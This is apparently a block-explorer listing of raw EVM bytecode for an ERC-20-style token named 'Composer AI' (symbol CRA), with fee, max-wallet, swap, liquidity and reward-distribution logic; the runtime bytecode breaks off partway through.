0b8146103365780632f54bf6e1461034a57806330409c8514610377575f80fd5b806306fdde0314610236578063095ea7b31461027b578063129ee21a146102aa57806316c2be6b146102cb575f80fd5b3661023257005b5f80fd5b348015610241575f80fd5b5060408051808201909152600b81526a436f6d706f73657220414960a81b60208201525b604051610272919061250d565b60405180910390f35b348015610286575f80fd5b5061029a610295366004612570565b610764565b6040519015158152602001610272565b3480156102b5575f80fd5b506102c96102c436600461259a565b61077a565b005b3480156102d6575f80fd5b5061029a6102e53660046125c3565b60076020525f908152604090205460ff1681565b348015610304575f80fd5b506001545b604051908152602001610272565b348015610322575f80fd5b5061029a6103313660046125de565b6108d2565b348015610341575f80fd5b506102c961093a565b348015610355575f80fd5b5061029a6103643660046125c3565b5f546001600160a01b0391821691161490565b348015610382575f80fd5b506102c961039136600461261c565b610978565b3480156103a1575f80fd5b5060405160098152602001610272565b3480156103bc575f80fd5b506102c96103cb36600461259a565b6109f2565b3480156103db575f80fd5b5061030960195481565b3480156103f0575f80fd5b5061030960245481565b348015610405575f80fd5b5061030960255481565b34801561041a575f80fd5b5060265461042e906001600160a01b031681565b6040516001600160a01b039091168152602001610272565b348015610451575f80fd5b506102c9610a29565b348015610465575f80fd5b506102c9610474366004612640565b610a64565b348015610484575f80fd5b506103096104933660046125c3565b610ad5565b3480156104a3575f80fd5b506102c9610aef565b3480156104b7575f80fd5b506103096104c63660046125c3565b6001600160a01b03165f9081526021602052604090206002015490565b3480156104ee575f80fd5b505f546001600160a01b031661042e565b34801561050a575f80fd5b5060185461042e906001600160a01b031681565b348015610529575f80fd5b506102c9610538366004612570565b610b5c565b348015610548575f80fd5b50610309610bf8565b34801561055c575f80fd5b5060408051808201909152600381526243524160e81b6020820152610265565b348015610587575f80fd5b50610309601a5481565b34801561059c575f80fd5b50600a5461042e906001600160a01b031681565b3480156105bb575f80fd5b5061029a6105ca366004612570565b610c27565b3480156105da575f80fd5b506103096105e93660046125c3565b610c33565b3480156105f9575f80fd5b506102c9610608366004612677565b610cb9565b348015610618575f80fd5b506102c9610627366004612640565b610f31565b348015610637575f80fd5b506102c9610f84565b34801561064b575f80fd5b5061067a61065a3660046125c3565b60216020525f908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610272565b3480156106a0575f80fd5b5061029a6106af3660046125c3565b60066020525f908152604090205460ff1681565b3480156106ce575f80fd5b506103096106dd36600461269b565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610712575f80fd5b50610309601b5481565b348015610727575f80fd5b506102c9610fd7565b34801561073b575f80fd5b506102c961074a3660046125c3565b610fe2565b34801561075a575f80fd5b5061030960235481565b5f61077033848461105e565b5060015b92915050565b5f546001600160a01b031633146107ac5760405162461bcd60e51b81526004016107a3906126c7565b60405180910390fd5b5f612710846107ba60015490565b6107c491906126fb565b6107ce9190612712565b90505f612710846107de60015490565b6107e891906126fb565b6107f29190612712565b90505f6127108461080260015490565b61080c91906126fb565b6108169190612712565b60028490556003839055600481905590505f6108486103e8610842600561083c60015490565b90611181565b9061118c565b905080841015801561085a5750808310155b80156108665750808210155b6108c95760405162461bcd60e51b815260206004820152602e60248201527f4d61782054787320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016107a3565b50505050505050565b5f6108de848484611197565b61092f843361092a856040518060600160405280602881526020016128c2602891396001600160a01b038a165f9081526008602090815260408083203384529091529020549190611336565b61105e565b5060015b9392505050565b5f546001600160a01b031633146109635760405162461bcd60e51b81526004016107a3906126c7565b600a805460ff60a01b1916600160a01b179055565b60185460265460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810184905291169063a9059cbb906044016020604051808303815f875af11580156109ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ee9190612731565b5050565b5f546001600160a01b03163314610a1b5760405162461bcd60e51b81526004016107a3906126c7565b602392909255602455602555565b5f546001600160a01b03163314610a525760405162461bcd60e51b81526004016107a3906126c7565b60015460028190556003819055600455565b5f546001600160a01b03163314610a8d5760405162461bcd60e51b81526004016107a3906126c7565b6001600160a01b0382165f908152600660205260409020805460ff19168215801591909117909155610ac3576109ee825f611361565b6109ee82610ad084610ad5565b611361565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610b185760405162461bcd60e51b81526004016107a3906126c7565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610b855760405162461bcd60e51b81526004016107a3906126c7565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610bcf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bf39190612731565b505050565b5f610c22610c055f610ad5565b610c1c610c1361dead610ad5565b60015490611494565b90611494565b905090565b5f610770338484611197565b6001600160a01b0381165f908152602160205260408120548103610c5857505f919050565b6001600160a01b0382165f90815260216020526040812054610c799061149f565b6001600160a01b0384165f90815260216020526040902060010154909150808211610ca757505f9392505050565b610cb18282611494565b949350505050565b601e54335f829003610ccc575050505050565b5f805a335f908152600560209081526040808320546006909252822054929350909160ff16610dc4575b8884108015610d0457508582105b15610dbf578560225410610d17575f6022555b610d48601e60225481548110610d2f57610d2f61274c565b5f918252602090912001546001600160a01b03166114bb565b15610d7e57610d7e601e60225481548110610d6557610d6561274c565b5f918252602090912001546001600160a01b03166114fe565b610d93610d8c5a8590611494565b859061160f565b93505a602280549194505f610da783612760565b91905055508180610db790612760565b925050610cf6565b610f26565b5f610dce86610c33565b6001600160a01b038a165f90815260056020526040902054909150610df39089611494565b6001600160a01b038a165f90815260056020526040902055610e158883612778565b335f908152600560205260409020558015610f2457601b54610e37908261160f565b601b5560185460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015610e8a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eae9190612731565b506001600160a01b0386165f908152602080805260408083204290556021909152902060020154610edf908261160f565b6001600160a01b0387165f908152602160205260409020600281019190915554610f089061149f565b6001600160a01b0387165f908152602160205260409020600101555b505b505050505050505050565b5f546001600160a01b03163314610f5a5760405162461bcd60e51b81526004016107a3906126c7565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610fad5760405162461bcd60e51b81526004016107a3906126c7565b5f600c8190556096600d8190556010829055600e556064600f556101906011819055601255601355565b610fe0336114fe565b565b5f546001600160a01b0316331461100b5760405162461bcd60e51b81526004016107a3906126c7565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a3565b6001600160a01b0382166111215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a3565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61093382846126fb565b5f6109338284612712565b6111a283838361161a565b6111ac83836117b3565b6111b7838383611851565b6111c1838361193a565b6111cc83838361198f565b6111d68383611ab8565b6001600160a01b0383165f908152600560205260409020546111f89082611494565b6001600160a01b0384165f9081526005602052604081209190915561121d8484611ada565b6112275781611232565b611232848484611b1e565b6001600160a01b0384165f90815260056020526040902054909150611257908261160f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112aa9085815260200190565b60405180910390a36001600160a01b0384165f9081526006602052604090205460ff166112de576112de84610ad086610ad5565b6001600160a01b0383165f9081526006602052604090205460ff1661130a5761130a83610ad085610ad5565b6001600160a01b0383165f908152602160205260409020541561133057611330836114fe565b50505050565b5f81848411156113595760405162461bcd60e51b81526004016107a3919061250d565b505050900390565b5f8111801561138557506001600160a01b0382165f90815260216020526040902054155b156113ea57601e80546001600160a01b0384165f818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b031916909117905561141c565b8015801561140e57506001600160a01b0382165f9081526021602052604090205415155b1561141c5761141c82611c08565b6001600160a01b0382165f9081526021602052604090205460195461144c91839161144691611494565b9061160f565b6019556001600160a01b0382165f9081526021602052604090208190556114728161149f565b6001600160a01b039092165f9081526021602052604090206001019190915550565b5f610933828461278b565b5f610774601d54610842601c548561118190919063ffffffff16565b6023546001600160a01b0382165f908152602080526040812054909142916114e39190612778565b10801561077457506024546114f783610c33565b1192915050565b6001600160a01b0381165f90815260216020526040812054900361151f5750565b5f61152982610c33565b905080156109ee57601b5461153e908261160f565b601b5560185460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015611591573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115b59190612731565b506001600160a01b0382165f9081526020808052604080832042905560219091529020600201546115e6908261160f565b6001600160a01b0383165f9081526021602052604090206002810191909155546114729061149f565b5f6109338284612778565b6001600160a01b03831661167e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a3565b6001600160a01b0382166116e05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a3565b5f81116117415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a3565b61174a83610ad5565b811115610bf35760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107a3565b6001600160a01b0382165f9081526007602052604090205460ff161580156117f357506001600160a01b0381165f9081526007602052604090205460ff16155b156109ee57600a54600160a01b900460ff166109ee5760405162461bcd60e51b815260206004820152601760248201527f416c72656164792054726164696e6720416c6c6f77656400000000000000000060448201526064016107a3565b6001600160a01b0383165f9081526007602052604090205460ff1615801561189157506001600160a01b0382165f9081526007602052604090205460ff16155b80156118ab5750600a546001600160a01b03838116911614155b80156118c257506001600160a01b03821661dead14155b15610bf3576004546001600160a01b0383165f908152600560205260409020546118ec908361160f565b1115610bf35760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016107a3565b600a546001600160a01b03828116911614801561196f57506001600160a01b0382165f9081526007602052604090205460ff16155b156109ee57600160175f8282546119869190612778565b90915550505050565b600a546001600160a01b03848116911614611a2e57600354811115806119cc57506001600160a01b0383165f9081526007602052604090205460ff165b806119ee57506001600160a01b0382165f9081526007602052604090205460ff165b611a2e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016107a3565b60025481111580611a5657506001600160a01b0383165f9081526007602052604090205460ff165b80611a7857506001600160a01b0382165f9081526007602052604090205460ff165b610bf35760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016107a3565b611ac28282611d18565b156109ee57611ad2601554611dcb565b5f6017555050565b6001600160a01b0382165f9081526007602052604081205460ff161580156109335750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80611b2a8585611f64565b1115611c01575f611b4c611b3e8686611f64565b600b5461083c90869061118c565b305f90815260056020526040902054909150611b68908261160f565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611bb89085815260200190565b60405180910390a360105415611bef57611bef3061dead611bea60105461083c600b548961118c90919063ffffffff16565b611197565b611bf98382611494565b915050610933565b5092915050565b601e8054611c189060019061278b565b81548110611c2857611c2861274c565b5f9182526020808320909101546001600160a01b038481168452601f909252604090922054601e80549290931692918110611c6557611c6561274c565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152601f918290526040812054601e805491939291611cb09060019061278b565b81548110611cc057611cc061274c565b5f9182526020808320909101546001600160a01b03168352820192909252604001902055601e805480611cf557611cf561279e565b5f8281526020902081015f1990810180546001600160a01b031916905501905550565b5f80601554611d2630610ad5565b6018549111159150600160a01b900460ff16158015611d47575060145460ff165b8015611d5c5750600a54600160a01b900460ff165b8015611d8057506001600160a01b0384165f9081526007602052604090205460ff16155b8015611da457506001600160a01b0383165f9081526007602052604090205460ff16155b8015611dbd5750600a546001600160a01b038481169116145b8015610cb157509392505050565b6018805460ff60a01b1916600160a01b179055600e54600f54600d54600c545f93611e079360029361083c93611446929183918290600161160f565b90505f611e2382610842600c548661118190919063ffffffff16565b90505f611e308483611494565b905047611e3c82611fae565b5f611e474783611494565b90505f611e69611e62600c548861149490919063ffffffff16565b839061118c565b90505f611e81600c548361118190919063ffffffff16565b90508015611e9357611e9386826120fe565b600d545f90611ea79061083c856002611181565b90508015611ee8576026546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611ee6573d5f803e3d5ffd5b505b600e545f90611efc9061083c866002611181565b90508015611f0d57611f0d816121af565b4715611f4b576026546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015611f49573d5f803e3d5ffd5b505b50506018805460ff60a01b191690555050505050505050565b600a545f906001600160a01b0390811690831603611f855750601254610774565b600a546001600160a01b0390811690841603611fa45750601154610774565b5060135492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611fe157611fe161274c565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612038573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061205c91906127b2565b8160018151811061206f5761206f61274c565b6001600160a01b039283166020918202929092010152600954612095913091168461105e565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906120cd9085905f90869030904290600401612810565b5f604051808303815f87803b1580156120e4575f80fd5b505af11580156120f6573d5f803e3d5ffd5b505050505050565b6009546121169030906001600160a01b03168461105e565b60095460265460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612183573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906121a8919061284b565b5050505050565b6018546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa1580156121f5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122199190612876565b6040805160028082526060820183529293505f9290916020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612285573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122a991906127b2565b815f815181106122bb576122bb61274c565b6001600160a01b0392831660209182029290920101526018548251911690829060019081106122ec576122ec61274c565b6001600160a01b03928316602091820292909201015260095460405163b6f9de9560e01b815291169063b6f9de95908590612331905f9086903090429060040161288d565b5f604051808303818588803b158015612348575f80fd5b505af115801561235a573d5f803e3d5ffd5b5050601854600a546040516370a0823160e01b81526001600160a01b0391821660048201525f9550911692506370a082319150602401602060405180830381865afa1580156123ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123cf9190612876565b6018546040516370a0823160e01b81523060048201529192505f916001600160a01b03909116906370a0823190602401602060405180830381865afa15801561241a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061243e9190612876565b90505f61244b8286611494565b90505f6124c561245b848661160f565b6018546040516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa1580156124a1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1c9190612876565b90506124dd6124d4838361160f565b601a549061160f565b601a55601954601d54612501916124f8916108429086611181565b601c549061160f565b601c5550505050505050565b5f602080835283518060208501525f5b818110156125395785810183015185820160400152820161251d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461256d575f80fd5b50565b5f8060408385031215612581575f80fd5b823561258c81612559565b946020939093013593505050565b5f805f606084860312156125ac575f80fd5b505081359360208301359350604090920135919050565b5f602082840312156125d3575f80fd5b813561093381612559565b5f805f606084860312156125f0575f80fd5b83356125fb81612559565b9250602084013561260b81612559565b929592945050506040919091013590565b5f6020828403121561262c575f80fd5b5035919050565b801515811461256d575f80fd5b5f8060408385031215612651575f80fd5b823561265c81612559565b9150602083013561266c81612633565b809150509250929050565b5f805f60608486031215612689575f80fd5b83359250602084013561260b81612559565b5f80604083850312156126ac575f80fd5b82356126b781612559565b9150602083013561266c81612559565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610774576107746126e7565b5f8261272c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215612741575f80fd5b815161093381612633565b634e487b7160e01b5f52603260045260245ffd5b5f60018201612771576127716126e7565b5060010190565b80820180821115610774576107746126e7565b81810381811115610774576107746126e7565b634e487b7160e01b5f52603160045260245ffd5b5f602082840312156127c2575f80fd5b815161093381612559565b5f815180845260208085019450602084015f5b838110156128055781516001600160a01b0316875295820195908201906001016127e0565b509495945050505050565b85815284602082015260a060408201525f61282e60a08301866127cd565b6001600160a01b0394909416606083015250608001529392505050565b5f805f6060848603121561285d575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215612886575f80fd5b5051919050565b848152608060208201525f6128a560808301866127cd565b6001600160a01b0394909416604083015250606001529291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3f3cb1cd8e4a058f31b37b0f57c117bfa9c311ded728263de9d5ed5f3e25e6664736f6c63430008160033
Deployed Bytecode
0x60806040526004361061022b575f3560e01c8063800cc11d11610129578063b56f742c116100a8578063dd62ed3e1161006d578063dd62ed3e146106c3578063efca2eed14610707578063f01c41881461071c578063f2fde38b14610730578063ffd49c841461074f575f80fd5b8063b56f742c146105ee578063be36f4bc1461060d578063c4f798dc1461062c578063ce7c2ac214610640578063d7e11d9114610695575f80fd5b806395d89b41116100ee57806395d89b4114610551578063997664d71461057c578063a8aa1b3114610591578063a9059cbb146105b0578063a961ef82146105cf575f80fd5b8063800cc11d146104ac578063893d20e8146104e357806389a30271146104ff5780638cd4426d1461051e5780639358928b1461053d575f80fd5b8063313ce567116101b557806361d027b31161017a57806361d027b31461040f578063622565891461044657806367f85dfc1461045a57806370a0823114610479578063715018a614610498575f80fd5b8063313ce56714610396578063323177e0146103b15780633a98ef39146103d05780634fab0ae8146103e557806360e71962146103fa575f80fd5b806318160ddd116101fb57806318160ddd146102f957806323b872dd14610317578063293230b8146103365780632f54bf6e1461034a57806330409c8514610377575f80fd5b806306fdde0314610236578063095ea7b31461027b578063129ee21a146102aa57806316c2be6b146102cb575f80fd5b3661023257005b5f80fd5b348015610241575f80fd5b5060408051808201909152600b81526a436f6d706f73657220414960a81b60208201525b604051610272919061250d565b60405180910390f35b348015610286575f80fd5b5061029a610295366004612570565b610764565b6040519015158152602001610272565b3480156102b5575f80fd5b506102c96102c436600461259a565b61077a565b005b3480156102d6575f80fd5b5061029a6102e53660046125c3565b60076020525f908152604090205460ff1681565b348015610304575f80fd5b506001545b604051908152602001610272565b348015610322575f80fd5b5061029a6103313660046125de565b6108d2565b348015610341575f80fd5b506102c961093a565b348015610355575f80fd5b5061029a6103643660046125c3565b5f546001600160a01b0391821691161490565b348015610382575f80fd5b506102c961039136600461261c565b610978565b3480156103a1575f80fd5b5060405160098152602001610272565b3480156103bc575f80fd5b506102c96103cb36600461259a565b6109f2565b3480156103db575f80fd5b5061030960195481565b3480156103f0575f80fd5b5061030960245481565b348015610405575f80fd5b5061030960255481565b34801561041a575f80fd5b5060265461042e906001600160a01b031681565b6040516001600160a01b039091168152602001610272565b348015610451575f80fd5b506102c9610a29565b348015610465575f80fd5b506102c9610474366004612640565b610a64565b348015610484575f80fd5b506103096104933660046125c3565b610ad5565b3480156104a3575f80fd5b506102c9610aef565b3480156104b7575f80fd5b506103096104c63660046125c3565b6001600160a01b03165f9081526021602052604090206002015490565b3480156104ee575f80fd5b505f546001600160a01b031661042e565b34801561050a575f80fd5b5060185461042e906001600160a01b031681565b348015610529575f80fd5b506102c9610538366004612570565b610b5c565b348015610548575f80fd5b50610309610bf8565b34801561055c575f80fd5b5060408051808201909152600381526243524160e81b6020820152610265565b348015610587575f80fd5b50610309601a5481565b34801561059c575f80fd5b50600a5461042e906001600160a01b031681565b3480156105bb575f80fd5b5061029a6105ca366004612570565b610c27565b3480156105da575f80fd5b506103096105e93660046125c3565b610c33565b3480156105f9575f80fd5b506102c9610608366004612677565b610cb9565b348015610618575f80fd5b506102c9610627366004612640565b610f31565b348015610637575f80fd5b506102c9610f84565b34801561064b575f80fd5b5061067a61065a3660046125c3565b60216020525f908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610272565b3480156106a0575f80fd5b5061029a6106af3660046125c3565b60066020525f908152604090205460ff1681565b3480156106ce575f80fd5b506103096106dd36600461269b565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610712575f80fd5b50610309601b5481565b348015610727575f80fd5b506102c9610fd7565b34801561073b575f80fd5b506102c961074a3660046125c3565b610fe2565b34801561075a575f80fd5b5061030960235481565b5f61077033848461105e565b5060015b92915050565b5f546001600160a01b031633146107ac5760405162461bcd60e51b81526004016107a3906126c7565b60405180910390fd5b5f612710846107ba60015490565b6107c491906126fb565b6107ce9190612712565b90505f612710846107de60015490565b6107e891906126fb565b6107f29190612712565b90505f6127108461080260015490565b61080c91906126fb565b6108169190612712565b60028490556003839055600481905590505f6108486103e8610842600561083c60015490565b90611181565b9061118c565b905080841015801561085a5750808310155b80156108665750808210155b6108c95760405162461bcd60e51b815260206004820152602e60248201527f4d61782054787320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016107a3565b50505050505050565b5f6108de848484611197565b61092f843361092a856040518060600160405280602881526020016128c2602891396001600160a01b038a165f9081526008602090815260408083203384529091529020549190611336565b61105e565b5060015b9392505050565b5f546001600160a01b031633146109635760405162461bcd60e51b81526004016107a3906126c7565b600a805460ff60a01b1916600160a01b179055565b60185460265460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810184905291169063a9059cbb906044016020604051808303815f875af11580156109ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ee9190612731565b5050565b5f546001600160a01b03163314610a1b5760405162461bcd60e51b81526004016107a3906126c7565b602392909255602455602555565b5f546001600160a01b03163314610a525760405162461bcd60e51b81526004016107a3906126c7565b60015460028190556003819055600455565b5f546001600160a01b03163314610a8d5760405162461bcd60e51b81526004016107a3906126c7565b6001600160a01b0382165f908152600660205260409020805460ff19168215801591909117909155610ac3576109ee825f611361565b6109ee82610ad084610ad5565b611361565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610b185760405162461bcd60e51b81526004016107a3906126c7565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610b855760405162461bcd60e51b81526004016107a3906126c7565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610bcf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bf39190612731565b505050565b5f610c22610c055f610ad5565b610c1c610c1361dead610ad5565b60015490611494565b90611494565b905090565b5f610770338484611197565b6001600160a01b0381165f908152602160205260408120548103610c5857505f919050565b6001600160a01b0382165f90815260216020526040812054610c799061149f565b6001600160a01b0384165f90815260216020526040902060010154909150808211610ca757505f9392505050565b610cb18282611494565b949350505050565b601e54335f829003610ccc575050505050565b5f805a335f908152600560209081526040808320546006909252822054929350909160ff16610dc4575b8884108015610d0457508582105b15610dbf578560225410610d17575f6022555b610d48601e60225481548110610d2f57610d2f61274c565b5f918252602090912001546001600160a01b03166114bb565b15610d7e57610d7e601e60225481548110610d6557610d6561274c565b5f918252602090912001546001600160a01b03166114fe565b610d93610d8c5a8590611494565b859061160f565b93505a602280549194505f610da783612760565b91905055508180610db790612760565b925050610cf6565b610f26565b5f610dce86610c33565b6001600160a01b038a165f90815260056020526040902054909150610df39089611494565b6001600160a01b038a165f90815260056020526040902055610e158883612778565b335f908152600560205260409020558015610f2457601b54610e37908261160f565b601b5560185460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015610e8a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eae9190612731565b506001600160a01b0386165f908152602080805260408083204290556021909152902060020154610edf908261160f565b6001600160a01b0387165f908152602160205260409020600281019190915554610f089061149f565b6001600160a01b0387165f908152602160205260409020600101555b505b505050505050505050565b5f546001600160a01b03163314610f5a5760405162461bcd60e51b81526004016107a3906126c7565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610fad5760405162461bcd60e51b81526004016107a3906126c7565b5f600c8190556096600d8190556010829055600e556064600f556101906011819055601255601355565b610fe0336114fe565b565b5f546001600160a01b0316331461100b5760405162461bcd60e51b81526004016107a3906126c7565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a3565b6001600160a01b0382166111215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a3565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61093382846126fb565b5f6109338284612712565b6111a283838361161a565b6111ac83836117b3565b6111b7838383611851565b6111c1838361193a565b6111cc83838361198f565b6111d68383611ab8565b6001600160a01b0383165f908152600560205260409020546111f89082611494565b6001600160a01b0384165f9081526005602052604081209190915561121d8484611ada565b6112275781611232565b611232848484611b1e565b6001600160a01b0384165f90815260056020526040902054909150611257908261160f565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112aa9085815260200190565b60405180910390a36001600160a01b0384165f9081526006602052604090205460ff166112de576112de84610ad086610ad5565b6001600160a01b0383165f9081526006602052604090205460ff1661130a5761130a83610ad085610ad5565b6001600160a01b0383165f908152602160205260409020541561133057611330836114fe565b50505050565b5f81848411156113595760405162461bcd60e51b81526004016107a3919061250d565b505050900390565b5f8111801561138557506001600160a01b0382165f90815260216020526040902054155b156113ea57601e80546001600160a01b0384165f818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b031916909117905561141c565b8015801561140e57506001600160a01b0382165f9081526021602052604090205415155b1561141c5761141c82611c08565b6001600160a01b0382165f9081526021602052604090205460195461144c91839161144691611494565b9061160f565b6019556001600160a01b0382165f9081526021602052604090208190556114728161149f565b6001600160a01b039092165f9081526021602052604090206001019190915550565b5f610933828461278b565b5f610774601d54610842601c548561118190919063ffffffff16565b6023546001600160a01b0382165f908152602080526040812054909142916114e39190612778565b10801561077457506024546114f783610c33565b1192915050565b6001600160a01b0381165f90815260216020526040812054900361151f5750565b5f61152982610c33565b905080156109ee57601b5461153e908261160f565b601b5560185460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015611591573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115b59190612731565b506001600160a01b0382165f9081526020808052604080832042905560219091529020600201546115e6908261160f565b6001600160a01b0383165f9081526021602052604090206002810191909155546114729061149f565b5f6109338284612778565b6001600160a01b03831661167e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a3565b6001600160a01b0382166116e05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a3565b5f81116117415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a3565b61174a83610ad5565b811115610bf35760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107a3565b6001600160a01b0382165f9081526007602052604090205460ff161580156117f357506001600160a01b0381165f9081526007602052604090205460ff16155b156109ee57600a54600160a01b900460ff166109ee5760405162461bcd60e51b815260206004820152601760248201527f416c72656164792054726164696e6720416c6c6f77656400000000000000000060448201526064016107a3565b6001600160a01b0383165f9081526007602052604090205460ff1615801561189157506001600160a01b0382165f9081526007602052604090205460ff16155b80156118ab5750600a546001600160a01b03838116911614155b80156118c257506001600160a01b03821661dead14155b15610bf3576004546001600160a01b0383165f908152600560205260409020546118ec908361160f565b1115610bf35760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016107a3565b600a546001600160a01b03828116911614801561196f57506001600160a01b0382165f9081526007602052604090205460ff16155b156109ee57600160175f8282546119869190612778565b90915550505050565b600a546001600160a01b03848116911614611a2e57600354811115806119cc57506001600